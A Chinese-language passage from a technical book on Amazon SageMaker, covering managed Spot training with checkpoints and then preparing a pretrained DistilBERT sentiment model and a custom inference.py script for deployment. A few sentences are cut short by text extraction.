base_job_name
使用 generate_random_string()
函数后,你应该得到一个类似于 'FTMHLGKYVOAC'
的 12 位字符字符串。
注意
我们在哪里使用这个值?在后续步骤中,我们将指定初始化新的 Estimator
对象时我们选择的基作业名称。如果初始化 Estimator
对象时未指定基作业名称,SageMaker 通常使用算法图像名称(例如,image-classification
)作为默认的基作业名称来运行训练作业。然后,将当前时间戳的字符串表示形式附加到基作业名称上,以生成完整的训练作业名称。
-
在启用检查点支持时准备不同的配置参数:
checkpoint_folder="checkpoints"
checkpoint_s3_bucket="s3://{}/{}/{}".format(s3_bucket, base_job_name, checkpoint_folder)
checkpoint_local_path="/opt/ml/checkpoints"
-
运行以下代码块以确保存在一个空的
tmp2
目录:!rm -rf tmp2 && mkdir -p tmp2
-
使用
wget
命令下载batch2.zip
:%%time
!wget -O tmp2/batch2.zip https://bit.ly/3KyonQE
-
接下来,运行以下代码块以提取
tmp
目录内batch1.zip
文件的 内容:%%time
!cd tmp2 && unzip batch2.zip && rm batch2.zip
-
让我们使用
glob()
函数获取包含tmp2/train
目录内所有图像的列表。之后,我们将使用len()
函数来计算生成的列表中的项目数量:import glob
training_samples = glob.glob(f"tmp2/train/*/*.png")
len(training_samples)
这应该会给我们一个值为7200
的值,这是tmp2/train
目录内.png
文件的总数。
-
使用
aws s3 mb
命令创建一个新的 S3 存储桶:!aws s3 mb s3://{s3_bucket}
-
使用
aws s3 cp
命令将tmp2
目录的内容复制到 S3 存储桶:%%time
!aws s3 cp tmp2/. s3://{s3_bucket}/{prefix}/ --recursive
-
定义
map_path()
和map_input()
函数:def map_path(source):
return 's3://{}/{}/{}'.format(
s3_bucket,
prefix,
source
)
def map_input(source):
path = map_path(source)
return sagemaker.inputs.TrainingInput(
path,
distribution='FullyReplicated',
content_type='application/x-image',
s3_data_type='S3Prefix'
)
-
通过运行以下代码块来准备
data_channels
字典:data_channels = {}
channels = ["train",
"validation",
"train_lst",
"validation_lst"]
for channel in channels:
data_channels[channel] = map_input(channel)
-
使用
map_path()
函数设置 S3 输出路径:output_path = map_path("output")
-
初始化
Estimator
对象:estimator = sagemaker.estimator.Estimator(
image,
role,
instance_count=2,
instance_type='ml.p2.xlarge',
output_path=output_path,
sagemaker_session=session,
enable_network_isolation=True,
model_uri=model_data,
use_spot_instances=True,
max_run=1800,
max_wait=3600,
base_job_name=base_job_name,
checkpoint_s3_uri=checkpoint_s3_bucket,
checkpoint_local_path=checkpoint_local_path
)
此初始化步骤应类似于我们在“使用 SageMaker Python SDK 训练图像分类模型”部分中所做的。除了我们在初始化Estimator
对象时设置的原始参数值外,我们还设置了一些额外的参数,包括model_uri
、use_spot_instances
、max_run
、max_wait
、checkpoint_s3_uri
和checkpoint_local_path
。
图 6.31 – 使用检查点和托管 Spot Training 初始化 Estimator 对象
如前图所示,启用检查点和托管 Spot Training 非常简单。在运行 SageMaker 训练作业时,这些默认是禁用的,所以我们只需要更新use_spot_instances
、max_run
、max_wait
、checkpoint_s3_uri
和checkpoint_local_path
参数的值。
注意
当使用内置算法时,可以使用RandomCutForest
、FactorizationMachines
和PCA
等Estimator
类代替“通用”的Estimator
类。使用这些类有其自身的优点,并且许多配置参数在初始化时已经具有很好的默认起始值(这也使得代码更简洁)。在本章中,我们在进行训练实验时将使用“通用”的Estimator
类,但如果您想了解更多关于 SageMaker Python SDK 中可用的其他类,请随时查看sagemaker.readthedocs.io/en/stable/algorithms/index.xhtml
。
-
准备超参数配置并将其存储在
hyperparameters
变量中:hyperparameters = {
'num_training_samples': len(training_samples),
'num_layers': 18,
'image_shape': "1,28,28",
'num_classes': 10,
'mini_batch_size': 100,
'epochs': 3,
'learning_rate': 0.01,
'top_k': 5,
'precision_dtype': 'float32'
}
这应该类似于我们在“使用 SageMaker Python SDK 训练图像分类模型”部分中所做的超参数配置,除了num_training_samples
的值。
注意
没有任何阻止我们更改一些配置参数的值,例如 mini_batch_size
、epochs
和 learning_rate
。一旦你熟悉测试不同超参数值的组合,你也可以尝试配置和使用其他超参数,例如 optimizer
、num_layers
和 momentum
。有关此主题的更多详细信息,请参阅 docs.aws.amazon.com/sagemaker/latest/dg/IC-Hyperparameter.xhtml
。
-
使用
set_hyperparameters()
方法指定训练作业的超参数配置值:estimator.set_hyperparameters(**hyperparameters)
-
使用
fit()
方法启动增量训练作业:%%time
estimator.fit(inputs=data_channels, logs=True)
这应该会生成一组类似于以下日志的文件:
图 6.32 – 运行训练作业后的日志部分
在这里,我们可以看到使用托管 Spot Training 所节省的金额——大约 70%
的节省!请注意,我们只是在 Estimator
对象的配置中做了一些额外的调整。通过这样做,我们能够显著降低运行训练作业的成本。
重要提示
如果你遇到 fit()
方法,你可以停止当前的训练作业,大约一小时后再尝试。或者,你可以在另一个区域运行实验。如果你遇到 ResourceLimitExceeded
错误,这意味着你在运行训练作业时使用某种类型的 ML spot 训练实例时已超出配额。请确保你已经完成了本章 准备基本先决条件 部分中指定的步骤。有关此主题的更多信息,请参阅 aws.amazon.com/premiumsupport/knowledge-center/resourcelimitexceeded-sagemaker/
。
-
使用
model_data
属性检查训练模型的输出位置:estimator.model_data
我们应该得到一个类似于 's3://<S3 BUCKET NAME>/ch06/output/<BASE JOB NAME>-<DATE AND TIME>/output/model.tar.gz'
的值。
注意
如果我们决定在 SageMaker 之外部署模型(例如,在 estimator.model_data
指向的位置)。
-
使用
aws s3 ls
命令检查生成的检查点文件:!aws s3 ls {estimator.checkpoint_s3_uri} --recursive
这应该会生成一组类似于以下结果:
图 6.33 – 生成的检查点文件
这些保存的检查点文件可以用于从最后一个保存的检查点重新启动和继续训练作业。
注意
如果你想要使用最后一个保存的检查点并继续之前的训练作业,你只需在初始化 Estimator
对象时指定相同的 checkpoint_s3_uri
。这将自动从 S3 下载检查点文件到训练实例,并从那里继续训练作业。
检查点与 SageMaker 的托管 Spot 训练功能配合良好,因为我们可以在训练实例或训练作业出现意外中断的情况下轻松恢复模型训练。此外,我们可以使用检查点来分析训练步骤不同阶段的模型(因为我们有多个中间阶段的模型快照)。
重要提示
让我们讨论一些在 SageMaker 中训练和调整机器学习模型时可以使用的其他策略。第一个是早期停止,它涉及配置一个超参数调整作业,如果目标指标值在指定时间内没有显著改善,则提前停止训练作业。这有助于降低成本(因为训练作业提前结束),以及防止模型过拟合。第二个是本地模式,它涉及在运行专门的机器学习实例之前,在 SageMaker 笔记本实例中运行和测试自定义脚本。这有助于加快自定义训练(和部署)脚本的开发和调试,因为使用本地模式时的反馈循环要快得多。第三个是异构集群训练,它涉及在几个不同的实例组上运行训练作业。通过在处理机器学习工作时结合使用 GPU 和 CPU 实例,这有助于提高资源扩展和利用率。第四个是快速文件模式,通过启用从 Amazon S3(在下载训练数据时)的高性能数据访问,可以显著加快训练作业。除了这个列表之外,还有更多的最佳实践和策略,但这些都足够现在使用了!
现在我们已经完成了本章动手实践解决方案的工作,是时候清理并关闭我们将不再使用的任何资源了。
清理工作
按照以下步骤查找并关闭 SageMaker Studio 中任何剩余的运行实例:
- 点击Amazon SageMaker Studio侧边栏中的运行实例和内核图标,如以下截图所示:
图 6.34 – 关闭所有剩余的运行实例
点击运行实例和内核图标应打开并显示 SageMaker Studio 中的运行实例、应用和终端,如以下截图所示:
- 在运行实例下关闭任何剩余的运行实例,通过点击每个实例的关闭按钮,如前一张截图所示。点击关闭按钮将打开一个弹出窗口,以验证实例关闭操作。点击全部关闭按钮继续。
注意,这个清理操作需要在使用 SageMaker Studio 后执行。SageMaker 不会自动关闭这些资源,即使在非活动期间也是如此。关闭未使用的资源并执行定期的清理操作将有助于降低和管理成本。
到目前为止,我们应该已经能够熟练使用 SageMaker Python SDK 在 AWS 云中进行机器学习实验。在这里我们只是触及了表面,因为 SageMaker 还有很多功能和特性,所有这些内容我们将在接下来的几章中进行讨论。
摘要
在本章中,我们使用 SageMaker Python SDK 训练和部署了机器学习模型。我们首先使用 MNIST 数据集(训练数据集)和 SageMaker 内置的 图像分类算法来训练一个图像分类模型。之后,我们通过使用 SageMaker Studio 中可用的 调试器洞察仪表板来更详细地查看训练步骤中使用的资源。最后,我们进行了一个第二阶段的训练实验,该实验利用了 SageMaker 中的一些功能和选项,例如 托管 Spot 训练、检查点和增量训练。
在下一章中,我们将更深入地探讨使用 SageMaker 进行模型部署时的不同部署选项和策略。我们将部署一个预训练模型到各种推理端点类型,包括 实时、无服务器和异步推理端点。
进一步阅读
如需了解更多关于本章所涉及主题的信息,请查阅以下资源:
-
亚马逊 SageMaker 调试器 (
docs.aws.amazon.com/sagemaker/latest/dg/train-debugger.xhtml
) -
在亚马逊 SageMaker 中使用检查点 (
docs.aws.amazon.com/sagemaker/latest/dg/model-checkpoints.xhtml
) -
亚马逊 SageMaker 中的增量训练 (
docs.aws.amazon.com/sagemaker/latest/dg/incremental-training.xhtml
) -
亚马逊 SageMaker 中的托管 Spot 训练 (
docs.aws.amazon.com/sagemaker/latest/dg/model-managed-spot-training.xhtml
)
第七章:SageMaker 部署解决方案
在训练我们的机器学习(ML)模型后,我们可以继续将其部署到 Web API。然后,其他应用程序(例如,移动应用程序)可以通过调用该 API 来执行“预测”或推理。例如,我们在第一章,AWS 上的机器学习工程导论中训练的 ML 模型可以被部署到 Web API,并用于根据一组输入预测客户取消预订的可能性或不会取消预订的可能性。将 ML 模型部署到 Web API 使得 ML 模型能够被不同的应用程序和系统访问。
几年前,机器学习从业者必须花费时间构建一个自定义的后端 API,从头开始托管和部署模型。如果你有这样的要求,你可能使用 Python 框架,如Flask、Pyramid或Django来部署 ML 模型。构建一个自定义 API 作为推理端点可能需要大约一周的时间,因为大部分应用程序逻辑需要从头开始编码。如果我们需要为 API 设置A/B 测试、自动扩展或模型监控,那么我们可能需要在设置基本 API 的初始时间基础上再额外花费几周时间。机器学习工程师和软件开发人员通常低估了构建和维护 ML 推理端点所需的工作量。需求随着时间的推移而演变,随着需求和解决方案的累积,自定义应用程序代码变得越来越难以管理。在这个时候,你可能会问,“有没有更好的更快的方法来做这件事?”好消息是,如果我们使用SageMaker来部署我们的模型,我们可以在“不到一天”的时间内完成所有这些工作!我们不必从头开始构建一切,SageMaker 已经自动化了大部分工作,我们只需要指定正确的配置参数。如果需要,SageMaker 允许我们自定义某些组件,我们可以轻松地将一些默认的自动化解决方案替换为我们自己的自定义实现。
在使用 SageMaker 时存在的一个误解是,机器学习模型需要首先在 SageMaker 中训练,然后才能部署到SageMaker 托管服务。重要的是要注意,“这并不正确”,因为该服务是设计和构建来支持不同场景的,其中包括直接部署预训练模型。这意味着,如果我们有一个在 SageMaker 之外训练的预训练模型,那么我们可以继续部署它,而无需再次经过训练步骤。在本章中,你将发现使用SageMaker Python SDK进行模型部署是多么简单。只需几行代码,我们就会向你展示如何将我们的预训练模型部署到各种推理端点类型——实时、无服务器和异步推理端点。我们还会在本章后面讨论何时使用这些推理端点类型最为合适。同时,我们还将讨论在 SageMaker 中进行模型部署时的不同策略和最佳实践。
话虽如此,我们将涵盖以下主题:
-
在 SageMaker 中开始模型部署
-
准备预训练模型工件
-
准备 SageMaker 脚本模式的前提条件
-
将预训练模型部署到实时推理端点
-
将预训练模型部署到无服务器推理端点
-
将预训练模型部署到异步推理端点
-
清理
-
部署策略和最佳实践
我们将以对其他替代方案和选项的简要讨论来结束。完成本章的动手实践后,你将更有信心在 SageMaker 中部署不同类型的机器学习模型。一旦你达到使用 SageMaker Python SDK 的熟悉和精通程度,你应该能够在几小时内,甚至几分钟内设置一个机器学习推理端点!
技术要求
在我们开始之前,以下准备工作是重要的:
-
一个网络浏览器(最好是 Chrome 或 Firefox)
-
获取书中第一章使用的 AWS 账户和SageMaker Studio 域的访问权限
每章使用的 Jupyter 笔记本、源代码和其他文件都可在以下存储库中找到:github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS
。
重要提示
建议在运行本书中的示例时使用具有有限权限的 IAM 用户,而不是根账户。我们将在第九章“安全、治理和合规策略”中详细讨论这一点,以及其他安全最佳实践。如果你刚开始使用 AWS,你可以同时使用根账户。
在 SageMaker 中开始模型部署
在第六章,“SageMaker 训练和调试解决方案”,我们使用SageMaker Python SDK训练并部署了一个图像分类模型。在那一章的动手解决方案中,我们使用了内置算法。当使用内置算法时,我们只需要准备训练数据集,并指定一些配置参数,就可以开始了!请注意,如果我们想使用我们喜欢的机器学习框架(如 TensorFlow 和 PyTorch)来训练自定义模型,那么我们可以准备我们的自定义脚本,并使用脚本模式在 SageMaker 中运行它们。这给了我们更多的灵活性,因为我们可以通过一个自定义脚本调整 SageMaker 与我们的模型接口的方式,该脚本允许我们在训练模型时使用不同的库和框架。如果我们希望训练脚本运行的环境具有最高级别的灵活性,那么我们可以选择使用我们自己的自定义容器镜像。SageMaker 有一套预构建的容器镜像,用于在训练模型时使用。然而,我们可能会决定在需要时构建并使用我们自己的。
图 7.1 – 训练和部署模型的不同选项
如[图 7.1]所示,在 SageMaker 中训练机器学习模型时提供的选项,在部署模型使用 SageMaker 托管服务时也是可用的。在这里,我们给每种方法或选项贴上一个任意的标签(例如,T1或T2),以帮助我们更详细地讨论这些选项。在 SageMaker 中执行模型部署时,我们可以选择使用内置算法的容器来部署模型(D1)。我们还有选择使用脚本模式部署我们的深度学习模型(D2)。使用此选项时,我们需要准备将在预构建的深度学习容器内运行的定制脚本。我们还有选择为我们的机器学习模型部署的环境提供并使用我们自己的定制容器镜像(D3)。
重要提示
选择使用哪种选项组合通常取决于进行机器学习实验和部署时所需的定制级别(以定制脚本和容器镜像的形式)。在开始使用 SageMaker 时,建议使用 SageMaker 内置算法,以便更好地了解训练模型时的情况(T1)以及部署模型时的情况(D1)。如果我们需要在 AWS SageMaker 托管基础设施上使用 TensorFlow、PyTorch 或 MXNet 等框架,我们需要准备一套用于训练(T2)和部署(D2)的自定义脚本。最后,当我们需要更高的灵活性时,我们可以准备自定义容器镜像,并在训练模型(T3)和部署模型(D3)时使用这些镜像。
重要的是要注意,我们可以在训练和部署模型时组合并使用不同的选项。例如,我们可以使用脚本模式(T2)训练 ML 模型,并在模型部署期间使用自定义容器镜像(D3)。另一个例子是在 SageMaker 之外(T4)训练模型,并在模型部署期间使用内置算法的预构建推理容器镜像(D1)。
现在,让我们谈谈如何使用 SageMaker 主机服务进行模型部署:
图 7.2 – 使用 SageMaker 主机服务部署模型
在图 7.2中,我们有一个使用 SageMaker 主机服务进行模型部署的高级示意图。假设在训练步骤之后,包含 ML 模型工件和输出文件的 model.tar.gz
文件已上传到 S3 桶中,则从 S3 桶中下载 model.tar.gz
文件到作为 ML 推理端点专用服务器的 ML 计算实例中。在这个 ML 计算实例内部,存储在 model.tar.gz
文件中的模型工件被加载到一个包含推理代码的运行容器中,该容器可以加载模型并用于处理传入的请求。如前所述,推理代码和用于推理的容器镜像可以是 AWS(内置或预构建)提供的,也可以是使用 SageMaker 的 ML 工程师提供的(自定义)。
让我们展示一些代码示例,以帮助我们解释这些概念。我们的第一个示例涉及使用内置的主成分分析(PCA)算法进行模型训练和部署——这是一个可用于降维和数据压缩等用例的算法:
from sagemaker import PCA
# [1] TRAINING
estimator = PCA(
role=role,
instance_count=1,
instance_type='ml.c4.xlarge',
num_components=2,
sagemaker_session=session
)
estimator.fit(...)
# [2] DEPLOYMENT
predictor = estimator.deploy(
initial_instance_count=1,
instance_type='ml.t2.medium'
)
在这里,SageMaker 在训练和部署 PCA 模型时使用预构建的容器镜像。这个容器镜像是由 AWS 团队准备的,这样我们就不必担心在使用内置算法时自己实现它。请注意,只要我们有与内置算法的预构建容器兼容的预训练模型,我们也可以在 SageMaker 中跳过训练步骤并直接进行部署步骤。
现在,让我们快速看一下如何在 SageMaker 中部署模型时使用自定义脚本的示例:
from sagemaker.pytorch.model import PyTorchModel
# [1] HERE, WE DON'T SHOW THE TRAINING STEP
model_data = estimator.model_data
# [2] DEPLOYMENT
model = PyTorchModel(
model_data=model_data,
role=role,
source_dir="scripts",
entry_point='inference.py',
framework_version='1.6.0',
py_version="py3"
)
predictor = model.deploy(
instance_type='ml.m5.xlarge',
initial_instance_count=1
)
在这个示例中,SageMaker 使用预构建的深度学习容器镜像来部署 PyTorch 模型。如第三章所述,“深度学习容器”,相关的包和依赖项已经安装在这些容器镜像内部。在部署步骤中,容器运行在 PyTorchModel
对象初始化期间提供的自定义 inference.py
脚本中指定的自定义代码。然后,自定义代码将加载模型并在处理发送到 SageMaker 推理端点的请求时使用它。
注意
在提供的示例中,我们初始化了一个PyTorchModel
对象,并使用deploy()
方法将模型部署到实时推理端点。在推理端点内部,将运行使用 PyTorch 推理容器镜像的容器,该容器将加载模型并用于推理。请注意,我们还有其他库和框架(如TensorFlowModel
、SKLearnModel
和MXNetModel
)的相应Model
类。一旦调用deploy()
方法,就会在推理端点内部使用适当的推理容器(带有相关已安装的包和依赖项)。
如果我们想要指定并使用自己的自定义容器镜像,我们可以使用以下代码块:
from sagemaker.model import Model
# [1] HERE, WE DON'T SHOW THE TRAINING STEP
model_data = estimator.model_data
# [2] DEPLOYMENT
image_uri = "<INSERT ECR URI OF CUSTOM CONTAINER IMAGE>"
model = Model(
image_uri=image_uri,
model_data=model_data,
role=role,
sagemaker_session=session
)
predictor = model.deploy(
initial_instance_count=1,
instance_type='ml.m5.xlarge'
)
在此示例中,SageMaker 使用存储在image_uri
变量指定的位置的自定义容器镜像。这里,假设我们已经准备并测试了自定义容器镜像,并在执行模型部署步骤之前将此容器镜像推送到Amazon Elastic Container Registry仓库。
注意
在准备自定义脚本和自定义容器镜像时需要一些尝试和错误(类似于我们在第三章,深度学习容器中准备和测试自定义容器镜像的方式)。如果您正在使用 Notebook 实例,您可以使用 SageMaker 的本地模式,这为我们提供了一个在将自定义脚本和自定义容器镜像运行在托管机器学习实例之前在本地环境中测试它们的方法。
本节中展示的代码示例假设我们将我们的机器学习模型部署在实时推理端点。然而,在 SageMaker 中部署机器学习模型时,我们有不同的选项可供选择:
-
第一个选项涉及在我们的实时推理端点部署和托管我们的模型。
-
第二个选项涉及在使用 SageMaker Python SDK 部署我们的模型到无服务器推理端点时稍微调整配置。
-
第三个选项是将我们的模型托管在异步推理端点。
我们将在本章的实践部分介绍这些选项,并讨论每个选项的相关用例和场景。
注意
需要注意的是,也可以在不设置推理端点的情况下执行推理。这涉及到使用批量转换,其中模型被加载并用于一次性处理多个输入有效载荷值并执行预测。要查看批量转换的工作示例,请随意查看以下链接:bit.ly/3A9wrVy
。
现在我们已经对 SageMaker 模型部署的工作原理有了更好的了解,让我们继续本章的动手实践部分。在下一节中,我们将准备包含我们将用于本章模型部署解决方案的 ML 模型工件 model.tar.gz
文件。
准备预训练模型工件
在 第六章 的 SageMaker 训练和调试解决方案 中,我们创建了一个名为 CH06
的新文件夹,并在创建的文件夹中使用 Data Science
映像创建了一个新的笔记本。在本节中,我们将创建一个新文件夹(命名为 CH07
),并在创建的文件夹内创建一个新的笔记本。由于我们将下载预训练的 transformers
库的模型工件,我们将使用 PyTorch 1.10 Python 3.8 CPU Optimized
映像作为笔记本中使用的映像。一旦笔记本准备就绪,我们将使用 Hugging Face 的 transformers
库下载一个可用于情感分析的预训练模型。最后,我们将模型工件压缩成 model.tar.gz
文件,并将其上传到 S3 桶。
注意
在继续之前,请确保您已经完成了 第一章 的 SageMaker 和 SageMaker Studio 入门 部分的动手解决方案。需要注意的是,本章的动手部分不是对 第六章 的 SageMaker 训练和调试解决方案 中所完成内容的延续。只要我们设置了 SageMaker Studio,我们就应该可以继续了。
在接下来的步骤中,我们将准备包含模型工件的 model.tar.gz
文件,并将其上传到 S3 桶:
- 在 AWS 管理控制台的搜索栏中导航到
sagemaker studio
,然后从 功能 下的结果列表中选择 SageMaker Studio。在侧边栏中,我们点击 SageMaker Domain 下的 Studio,然后从 启动应用 下拉菜单(在 用户 面板中)选择 Studio。等待一分钟左右,以加载 SageMaker Studio 界面。
重要注意
本章假设我们在使用服务管理和创建不同类型的资源时使用的是 us-west-2
区域。您可以使用不同的区域,但请确保在需要将某些资源转移到所选区域的情况下进行任何必要的调整。
-
在
CH07
的空白区域右键单击。最后,通过在侧边栏中双击文件夹名称来导航到CH07
目录。 -
通过点击
PyTorch 1.10 Python 3.8 CPU Optimized
创建一个新的笔记本 -
Python 3
-
无脚本
-
点击 选择 按钮。
注意
等待内核启动。在为运行 Jupyter 笔记本单元格分配 ML 实例时,此步骤可能需要大约 3 到 5 分钟。
-
将笔记本从
Untitled.ipynb
重命名为01 - 准备 model.tar.gz 文件.ipynb
。 -
现在笔记本已经准备好了,我们可以继续生成预训练模型工件并将这些存储在
model.tar.gz
文件中。在 Jupyter Notebook 的第一个单元中,让我们运行以下代码,这将安装 Hugging Face 的transformers
库:!pip3 install transformers==4.4.2
-
使用
pip
安装ipywidgets
:!pip3 install ipywidgets --quiet
-
接下来,让我们运行以下代码块来重启内核:
import IPython
kernel = IPython.Application.instance().kernel
kernel.do_shutdown(True)
这应该产生一个类似于 {'status': 'ok', 'restart': True}
的输出值,并相应地重启内核,以确保我们不会在使用我们刚刚安装的包时遇到问题。
-
让我们使用
transformers
库下载一个预训练模型。我们将下载一个可以用于情感分析和分类陈述是否为 POSITIVE 或 NEGATIVE 的模型。运行以下代码块将预训练的distilbert
模型工件下载到当前目录:from transformers import AutoModelForSequenceClassification as AMSC
pretrained = "distilbert-base-uncased-finetuned-sst-2-english"
model = AMSC.from_pretrained(pretrained)
model.save_pretrained(save_directory=".")
这应该在 .ipynb
笔记本文件相同的目录中生成两个文件:
-
config.json
-
pytorch_model.bin
注意
如何实现这一功能? 例如,如果我们有一个“I love reading the book MLE on AWS!
”这样的陈述,训练好的模型应该将其分类为 POSITIVE 陈述。如果我们有一个“This is the worst spaghetti I've had
”这样的陈述,训练好的模型随后应该将其分类为 NEGATIVE 陈述。
-
使用以下代码块准备包含之前步骤中生成的模型工件文件的
model.tar.gz
(压缩存档)文件:import tarfile
tar = tarfile.open("model.tar.gz", "w:gz")
tar.add("pytorch_model.bin")
tar.add("config.json")
tar.close()
-
使用
rm
命令通过删除之前步骤中生成的模型工件来清理模型文件:%%bash
rm pytorch_model.bin
rm config.json
-
指定 S3 桶名称和前缀。在运行以下代码块之前,请确保将
<INSERT S3 BUCKET NAME HERE>
的值替换为一个唯一的 S3 桶名称:s3_bucket = "<INSERT S3 BUCKET NAME HERE>"
prefix = "chapter07"
确保指定一个尚不存在的 S3 桶的桶名称。如果你想要重用之前章节中创建的其中一个桶,可以这样做,但请确保使用与 SageMaker Studio 设置和配置相同的区域的 S3 桶。
-
使用
aws s3 mb
命令创建一个新的 S3 桶:!aws s3 mb s3://{s3_bucket}
如果你计划重用之前章节中创建的现有 S3 桶,则可以跳过此步骤。
-
准备我们将上传模型文件的 S3 路径:
model_data = "s3://{}/{}/model/model.tar.gz".format(
s3_bucket, prefix
)
注意,在此阶段,指定 S3 路径中尚不存在 model.tar.gz
文件。在这里,我们只是在准备 model.tar.gz
文件将要上传的 S3 位置(字符串)。
-
现在,让我们使用
aws s3 cp
命令来复制并上传model.tar.gz
文件到 S3 桶:!aws s3 cp model.tar.gz {model_data}
-
使用
%store
魔法来存储model_data
、s3_bucket
和prefix
的变量值:%store model_data
%store s3_bucket
%store prefix
这应该允许我们在本章的后续部分中使用这些变量值,类似于我们在 图 7.3 中所做的那样:
图 7.3 – %store 魔法
确保不要重新启动内核,否则我们将丢失使用%store
魔法保存的变量值。
准备 SageMaker 脚本模式的前提条件
在本章中,我们将准备一个自定义脚本,用于使用预训练模型进行预测。在我们可以使用SageMaker Python SDK将预训练模型部署到推理端点之前,我们需要确保所有脚本模式的前提条件都已准备好。
图 7.4 – 所需的文件和文件夹结构
在图 7.4中,我们可以看到我们需要准备三个前提条件:
-
inference.py
-
requirements.txt
-
setup.py
我们将这些前提条件存储在scripts
目录中。我们将在本章后续页面中详细讨论这些前提条件。现在,让我们开始准备inference.py
脚本文件!
准备 inference.py 文件
在本节中,我们将准备一个自定义 Python 脚本,该脚本将由 SageMaker 在处理推理请求时使用。在这里,我们可以影响输入请求的反序列化方式、如何加载自定义模型、如何执行预测步骤以及如何将输出预测序列化并作为响应返回。为了完成所有这些,我们需要在我们的脚本文件中覆盖以下推理处理函数:model_fn()
、input_fn()
、predict_fn()
和output_fn()
。我们将在稍后讨论这些函数的工作原理。
在接下来的步骤中,我们将准备我们的自定义 Python 脚本并覆盖推理处理函数的默认实现:
- 右键单击文件浏览器侧边栏中的空白区域以打开一个类似于图 7.5所示的上下文菜单:
图 7.5 – 在 CH07 目录内创建新文件夹
从上下文菜单中的选项列表中选择新建文件夹,如图 7.5 所示。请注意,我们也可以按下位于+按钮旁边的信封按钮(带加号)来创建一个新的文件夹。
-
将新文件夹命名为
scripts
。 -
接下来,双击
scripts
文件夹以导航到该目录。 -
通过点击文件菜单并从新建子菜单下的选项列表中选择文本文件来创建一个新的文本文件。
-
右键单击
inference.py
。 -
点击
inference.py
脚本:
图 7.6 – 在编辑器窗格中准备向 inference.py 文件添加代码
我们将把接下来的代码块添加到inference.py
文件中。确保每个代码块后面都有一个额外的空白行。
-
在
inference.py
文件中:import json
from transformers import AutoModelForSequenceClassification as AMSC
from transformers import Trainer
from transformers import TrainingArguments
from torch.nn import functional as F
from transformers import AutoTokenizer
from time import sleep
-
指定分词器:
TOKENIZER = "distilbert-base-uncased-finetuned-sst-2-english"
在这里,我们指定了在后续步骤中用于执行预测的模型的适当分词器。
注意
什么是分词器?例如,对于 "I am hungry"
,分词器会将其分割成 "I"
、"am"
和 "hungry"
这三个标记。请注意,这是一个简化的例子,分词器的工作远不止这些可以在几句话中解释清楚的内容。更多详情,请随时查看以下链接:huggingface.co/docs/transformers/main_classes/tokenizer
。
-
定义
model_fn()
函数:def model_fn(model_dir):
model = AMSC.from_pretrained(model_dir)
return model
在这里,我们定义了一个模型函数,它返回一个用于执行预测和处理推理请求的模型对象。由于我们计划加载和使用预训练模型,我们使用了 transformers
库中的 AutoModelForSequenceClassification
的 from_pretrained()
方法来加载指定模型目录中的模型工件。from_pretrained()
方法随后返回一个模型对象,该对象可以在预测步骤中使用。
-
现在,让我们定义
humanize_prediction()
函数:def humanize_prediction(output):
class_a, class_b = F.softmax(
output[0][0],
dim = 0
).tolist()
prediction = "-"
if class_a > class_b:
prediction = "NEGATIVE"
else:
prediction = "POSITIVE"
return prediction
humanize_prediction()
函数简单地接受模型在预测步骤中处理输入有效载荷后产生的原始输出。它将返回一个 "POSITIVE"
或 "NEGATIVE"
预测给调用函数。我们将在下一步定义这个 调用函数。
-
接下来,让我们使用以下代码块定义
predict_fn()
:def predict_fn(input_data, model):
# sleep(30)
sentence = input_data['text']
tokenizer = AutoTokenizer.from_pretrained(
TOKENIZER
)
batch = tokenizer(
[sentence],
padding=True,
truncation=True,
max_length=512,
return_tensors="pt"
)
output = model(**batch)
prediction = humanize_prediction(output)
return prediction
predict_fn()
函数接受反序列化的输入请求数据和加载的模型作为输入。然后,它使用这两个参数值来生成一个预测。如何?由于加载的模型作为第二个参数可用,我们只需使用它来执行预测。这个预测步骤的输入有效载荷将是反序列化的请求数据,它是 predict_fn()
函数的第一个参数。在输出返回之前,我们使用 humanize_prediction()
函数将原始输出转换为 "POSITIVE"
或 "NEGATIVE"
。
备注
为什么我们有一个包含 sleep(30)
的注释行?在 将预训练模型部署到异步推理端点部分 的后面,我们将使用人工的 30 秒延迟来模拟一个相对较长的处理时间。现在,我们将保持这一行被注释,稍后在该部分中我们将取消注释。
-
同时,我们还需要定义
input_fn()
函数,该函数用于将序列化的输入请求数据转换为它的反序列化形式。这种反序列化形式将在稍后的预测阶段使用:def input_fn(serialized_input_data,
content_type='application/json'):
if content_type == 'application/json':
input_data = json.loads(serialized_input_data)
return input_data
else:
raise Exception('Unsupported Content Type')
在 input_fn()
函数中,我们还确保指定的内容类型在我们定义的支持内容类型列表中,对于不支持的内容类型,我们通过抛出 Exception
来处理。
-
最后,让我们定义
output_fn()
:def output_fn(prediction_output,
accept='application/json'):
if accept == 'application/json':
return json.dumps(prediction_output), accept
raise Exception('Unsupported Content Type')
output_fn()
的目的是将预测结果序列化为指定的内容类型。在这里,我们还确保指定的内容类型在我们定义的支持内容类型列表中,对于不支持的内容类型,我们通过抛出 Exception
来处理。
备注
我们可以将 序列化 和 反序列化 视为数据转换步骤,将数据从一种形式转换为另一种形式。例如,输入请求数据可能作为有效的 JSON 字符串 传递给推理端点。这个输入请求数据通过 input_fn()
函数,该函数将其转换为 JSON 或 字典。然后,这个反序列化的值作为有效载荷传递给 predict_fn()
函数。之后,predict_fn()
函数返回一个预测结果。然后,使用 output_fn()
函数将这个结果转换为指定的内容类型。
- 通过按 CTRL + S 保存更改。
注意
如果你使用的是 Mac,请使用 CMD + S。或者,你可以在 文件 菜单下的选项列表中点击 保存 Python 文件。
在这一点上,你可能想知道所有这些是如何结合在一起的。为了帮助我们理解推理处理函数如何与数据和彼此交互,让我们快速查看 图 7.7 中所示的图表:
图 7.7 – 推理处理函数
在 图 7.7 中,我们可以看到 model_fn()
函数用于加载 ML 模型对象。这个模型对象将在收到请求后由 predict_fn()
函数用于执行预测。当收到请求时,input_fn()
函数处理序列化的请求数据并将其转换为反序列化形式。然后,这个反序列化的请求数据传递给 predict_fn()
函数,该函数使用加载的 ML 模型,以请求数据作为有效载荷执行预测。然后,predict_fn()
函数返回输出预测,该预测由 output_fn()
函数序列化。
注意
关于这个主题的更多信息,请随时查看以下链接:sagemaker.readthedocs.io/en/stable/frameworks/pytorch/using_pytorch.xhtml
。
现在我们已经准备好了推理脚本,接下来让我们在下一节中准备 requirements.txt
文件!
准备 requirements.txt 文件
由于 transformers
包不包括在 SageMaker PyTorch Docker 容器中,我们需要通过 requirements.txt
文件来包含它,该文件由 SageMaker 在运行时用于安装额外的包。如果你第一次处理 requirements.txt
文件,它只是一个包含要使用 pip install
